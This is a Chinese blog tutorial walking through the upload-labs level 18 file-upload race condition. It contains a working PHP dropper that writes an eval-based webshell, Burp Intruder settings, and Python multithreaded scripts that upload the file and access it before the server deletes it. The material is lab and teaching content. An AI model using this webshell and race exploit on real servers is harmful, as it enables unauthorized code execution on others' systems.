当前位置: 首页 > news >正文

文件上传漏洞之条件竞争

这里拿upload-labs的第18关做演示

在这里插入图片描述

首先先看代码

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

这段代码逻辑是文件上传后先保存文件,然后判断是否符合规则,符合的话改文件名,不符合的话删除文件。

在多线程环境中,可能会存在文件还未来得及删除,我们便访问到该文件,可以以此为切入点执行php语句。

第一步: 首先准备上传的文件,代码的作用是新建一个名字为shell.php,密码为c的webshell后门:

<?php
$file = fopen("shell.php","w");
$payload="<?php @eval(\$_POST['c']); ?>";
fwrite($file,$payload);
fclose($file);
?>

第二步: 上传文件,用burp抓包,发送到intruder模块

在这里插入图片描述

在Position模块把所有变量都Clear掉

然后Payloads里的Payload type设置为NUll payloads,Payload Options设置为Continue indefinitely

在这里插入图片描述

第三步: python脚本不停访问刚才上传的文件

import requestsfor i in range(100000):url="http://192.168.171.30/upload/upload/fopen.php"if requests.get(url).status_code == 200 :print('OK')break

在burp点击Start attack,然后运行python脚本,直到显示OK停止就可以了。

在这里插入图片描述

用蚁剑连接,连接成功:

在这里插入图片描述

在这里插入图片描述

还有另一种方法,只用python脚本上传:

import requests
import concurrent.futures
import threadingdef request(stop_event):url = "http://192.168.171.30/upload/Pass-18/index.php"files = {'upload_file': open('fopen.php', 'rb')}data = {'submit': '上传'}r = requests.post(url=url, data=data, files=files)if requests.get('http://192.168.171.30/upload/upload/fopen.php').status_code == 200:print('OK')stop_event.set()def main():num_requests = 1000max_threads = 100stop_event = threading.Event()with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:for _ in range(num_requests):if not stop_event.is_set():executor.submit(request, stop_event)else:breakprint("Program stopped")if __name__ == "__main__":main()

运行结果:

在这里插入图片描述

总结:文件上传条件竞争就是需要在未删除文件时,访问此文件,以执行代码,可以使用多线程方法批量上传和访问。

相关文章:

文件上传漏洞之条件竞争

这里拿upload-labs的第18关做演示 首先先看代码 $is_upload false; $msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_…...

javacv基础04-图像色彩空间转换函数Imgproc.cvtColor()(彩图转灰度图示例)

opencv python 实现方式参考 opencv-19 图像色彩空间转换函数cv2.cvtColor() javacv 中的函数 Imgproc.cvtColor(image, grey, Imgproc.COLOR_BGR2GRAY); 参数说明&#xff1a; image: 原始图像新灰度图转换参数&#xff1a;多种转换方式参考上面链接地址内容 javacv 实现方式…...

Spring Boot进阶(60):5种判断线程池任务是否全部完成的方案 | 实用技巧分享!

1. 前言&#x1f525; 多线程编程在现代软件开发中非常常见且重要&#xff0c;而线程池是多线程编程的常用技术。在使用线程池时&#xff0c;通常需要判断线程池中的任务是否全部完成&#xff0c;以便决定程序继续执行的下一步操作。本文将介绍5种判断线程池任务是否全部完成的…...

Git相关介绍和操作

Git 是一个版本控制系统&#xff0c;它可以记录代码的变更历史&#xff0c;并允许多人协同开发。下面是 Git 的基本概念和使用方式&#xff1a; 仓库&#xff08;Repository&#xff09;&#xff1a;Git 仓库用于存储代码的版本历史&#xff0c;包括代码变更、注释、作者、时间…...

IDEA配置热启动

1.背景 开发过程中&#xff0c;当写完一个功能我们需要运行应用程序测试&#xff0c;可能这个小功能中存在多个小bug&#xff0c;我们需要改正后重启服务器&#xff0c;这无形之中拖慢了开发的速度增加了开发时间&#xff0c;SpringBoot提供了spring-boot-devtools&#xff0c;…...

【附安装包】Fireworks CS6安装教程

软件下载 软件&#xff1a;Fireworks版本&#xff1a;CS6语言&#xff1a;简体中文大小&#xff1a;165.87M安装环境&#xff1a;Win11/Win10/Win8/Win7硬件要求&#xff1a;CPU2.0GHz 内存4G(或更高&#xff09;下载通道①百度网盘丨下载链接&#xff1a;https://pan.baidu.c…...

深度学习-4-二维目标检测-YOLOv3理论模型

单阶段目标检测模型YOLOv3 R-CNN系列算法需要先产生候选区域&#xff0c;再对候选区域做分类和位置坐标的预测&#xff0c;这类算法被称为两阶段目标检测算法。近几年&#xff0c;很多研究人员相继提出一系列单阶段的检测算法&#xff0c;只需要一个网络即可同时产生候选区域并…...

通俗理解DDPM到Stable Diffusion原理

代码1&#xff1a;stabel diffusion 代码库代码2&#xff1a;diffusers 代码库论文&#xff1a;High-Resolution Image Synthesis with Latent Diffusion Models模型权重&#xff1a;runwayml/stable-diffusion-v1-5 文章目录 1. DDPM的通俗理解1.1 DDPM的目的1.2 扩散过程1.3 …...

如何基于自己训练的Yolov5权重,结合DeepSort实现目标跟踪

网上有很多相关不错的操作demo&#xff0c;但自己在训练过程仍然遇到不少疑惑。因此&#xff0c;我这总结一下操作过程中所解决的问题。 1、deepsort的训练集是否必须基于逐帧视频&#xff1f; 我经过尝试&#xff0c;发现非连续性的图像仍可以作为训练集。一个实例&#xff0…...

C#_委托详解

委托是什么&#xff1f; 字面理解&#xff1a;例如A要建一栋别墅&#xff0c;找到B建筑施工队&#xff0c;请B来建筑别墅。 委托类型规定方法的签名&#xff08;方法类型&#xff09;&#xff1a;返回值类型、参数类型、个数、顺序。 委托变量可以用来存储方法的引用&#x…...

R包开发-2.2:在RStudio中使用Rcpp制作R-Package(更新于2023.8.23)

目录 4-添加C函数 5-编辑元数据 6-启用Roxygen&#xff0c;执行文档化。 7-单元测试 8-在自己的计算机上安装R包&#xff1a; 9-程序发布 参考&#xff1a; 为什么要写这篇文章的更新日期&#xff1f;因为R语言发展很快&#xff0c;很多函数或者方式&#xff0c;现在可以使…...

基于数据湖的多流拼接方案-HUDI实操篇

目录 一、前情提要 二、代码Demo &#xff08;一&#xff09;多写问题 &#xff08;二&#xff09;如果要两个流写一个表&#xff0c;这种情况怎么处理&#xff1f; &#xff08;三&#xff09;测试结果 三、后序 一、前情提要 基于数据湖对两条实时流进行拼接&#xff0…...

Spring MVC 四:Context层级

这一节我们来回答上篇文章中避而不谈的有关什么是RootApplicationContext的问题。 这就需要引入Spring MVC的有关Context Hierarchy的问题。Context Hierarchy意思就是Context层级&#xff0c;既然说到Context层级&#xff0c;说明在Spring MVC项目中&#xff0c;可能存在不止…...

【C++ 学习 ⑱】- 多态(上)

目录 一、多态的概念和虚函数 1.1 - 用基类指针指向派生类对象 1.2 - 虚函数和虚函数的重写 1.3 - 多态构成的条件 1.4 - 多态的应用场景 二、协变和如何析构派生类对象 2.1 - 协变 2.2 - 如何析构派生类对象 三、C11 的 override 和 final 关键字 一、多态的概念和虚…...

合宙Air724UG LuatOS-Air LVGL API控件--进度条 (Bar)

进度条 (Bar) Bar 是进度条&#xff0c;可以用来显示数值&#xff0c;加载进度。 示例代码 – 创建进度条 bar lvgl.bar_create(lvgl.scr_act(), nil) – 设置尺寸 lvgl.obj_set_size(bar, 200, 20); – 设置位置居中 lvgl.obj_align(bar, NULL, lvgl.ALIGN_CENTER, 0, 0) …...

图神经网络与分子表征:番外——基组选择

学过高斯软件的人都知道&#xff0c;我们在撰写输入文件 gjf 时需要准备输入【泛函】和【基组】这两个关键词。 【泛函】敲定计算方法&#xff0c;【基组】则类似格点积分中的密度&#xff0c;与计算精度密切相关。 部分研究人员借用高斯中的一系列基组去包装输入几何信息&am…...

rabbitmq笔记-rabbitmq客户端开发使用

连接RabbitMQ 1.创建ConnectionFactory&#xff0c;给定参数ip地址&#xff0c;端口号&#xff0c;用户名和密码等 2.创建ConnectionFactory&#xff0c;使用uri方式实现&#xff0c;创建channel。 注意&#xff1a; Connection可以用来创建多个channel实例&#xff0c;但c…...

13.Oracle中nvl()与nvl2()函数详解

Oracle中nvl()与nvl2()函数详解&#xff1a; 函数nvl(expression1,expression2)根据参数1是否为null返回参数1或参数2的值&#xff1b; 函数nvl2(expression1,expression2,expression3)根据参数1是否为null返回参数2或参数3的值 1.nvl&#xff1a;根据参数1是否为null返回参数…...

设置某行被选中并滚动到改行

<el-table :data"tableDamItem" ref"singleTable" stripe style"width: 100%" height"250" highlight-current-row v-on:row-click"handleTableRow"></el-table>/*** 设置表格行被选中,并滚动到该行* param po…...

React钩子函数之useRef的基本使用

React钩子函数中的useRef是一个非常有用的工具&#xff0c;它可以用来获取DOM元素或者保存一些变量。在这篇文章中&#xff0c;我们将会讨论useRef的基本使用。 首先&#xff0c;我们需要知道useRef是如何工作的。它返回一个可变的ref对象&#xff0c;这个对象可以在组件的整个…...

微信无法登录时的恢复操作

本文记录 OpenClaw 中 openclaw-weixin 插件在登录态丢失、微信链接不可用、扫码登录失败时的恢复流程。2026-03-23 版本 OpenClaw 更新后曾出现微信插件失效,但在 2026-03-24 版本中已恢复。本文目标是先判断问题类型,再选择最小影响的修复方式,避免不必要的全量重装。 一、…...

老牌CMS的隐痛:从DedeCMS漏洞看开源系统会员模块的安全设计误区

DedeCMS会员模块漏洞剖析&#xff1a;开源系统安全设计的深层反思 当一款拥有百万级安装量的老牌CMS系统曝出前台任意密码修改漏洞时&#xff0c;我们看到的不仅是一个具体的技术缺陷&#xff0c;更是开源项目在安全架构设计上的系统性隐忧。2018年那场影响广泛的DedeCMS漏洞事…...

【大模型工程实践③】RAG 基础架构与完整实现

【大模型工程实践③】RAG 基础架构与完整实现:从0到1跑通 作者:AI学习者 | 来源:大模型工程实践学习系列 | 更新:2026年3月 【理论要点速览】 学习本篇前,建议先掌握以下核心理论(点击跳转): ① 为什么需要RAG? ② RAG vs Fine-tuning vs Long Context的决策框架 ③ …...

RT-DETR实战入门:从环境搭建到YOLO数据集转换COCO格式

1. RT-DETR环境搭建&#xff1a;避坑指南 刚接触RT-DETR时&#xff0c;环境配置是最容易翻车的第一关。我最初尝试时&#xff0c;因为没注意torch版本兼容性问题&#xff0c;浪费了整整两天时间。这里分享几个关键细节&#xff1a; 首先是PyTorch版本选择。官方推荐使用torch 2…...

开源风扇控制工具FanControl全攻略:从问题诊断到散热方案优化

开源风扇控制工具FanControl全攻略&#xff1a;从问题诊断到散热方案优化 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Tren…...

QT窗口特效实战:从透明到异形控件的全方位实现指南

1. 从零开始理解QT窗口特效 第一次接触QT窗口特效时&#xff0c;我被那些酷炫的透明和异形界面深深吸引。记得当时看到Mac OS X的Dock栏那种毛玻璃效果&#xff0c;就特别想在自己的QT应用中实现类似效果。经过多年实战&#xff0c;我发现QT实现这些特效其实比想象中简单得多。…...

OpenClaw语音控制扩展:Qwen3.5-4B-Claude对接Whisper实现声控自动化

OpenClaw语音控制扩展&#xff1a;Qwen3.5-4B-Claude对接Whisper实现声控自动化 1. 为什么需要语音控制自动化 去年冬天的一个深夜&#xff0c;我在赶制项目文档时突发奇想&#xff1a;如果能让AI听懂我的语音指令直接操作电脑&#xff0c;是不是连键盘都不用碰了&#xff1f…...

22:L应用区块链+AI:蓝队的分布式安全

作者&#xff1a; HOS(安全风信子) 日期&#xff1a; 2026-03-19 主要来源平台&#xff1a; GitHub 摘要&#xff1a; 区块链的不可篡改特性与AI的智能分析能力相结合&#xff0c;为蓝队防御带来了新的可能性。L深入研究区块链AI的融合应用&#xff0c;构建了一个分布式、透明、…...

零基础养龙虾:OpenClaw部署从入门到上手,一篇讲透!

2026年&#xff0c;OpenClaw&#xff08;昵称 “龙虾”&#xff09;凭借 “能真正动手干活” 的核心能力&#xff0c;成为开源AI Agent领域的顶流。它不仅能像ChatGPT一样聊天&#xff0c;更能自主操作电脑——整理文件、控制浏览器、发送邮件、甚至调用硬件设备。因其图标酷似…...

求一个V站邀请码

有没有大佬可以给个邀请码~~~~~~~~~~~~~~~~~~...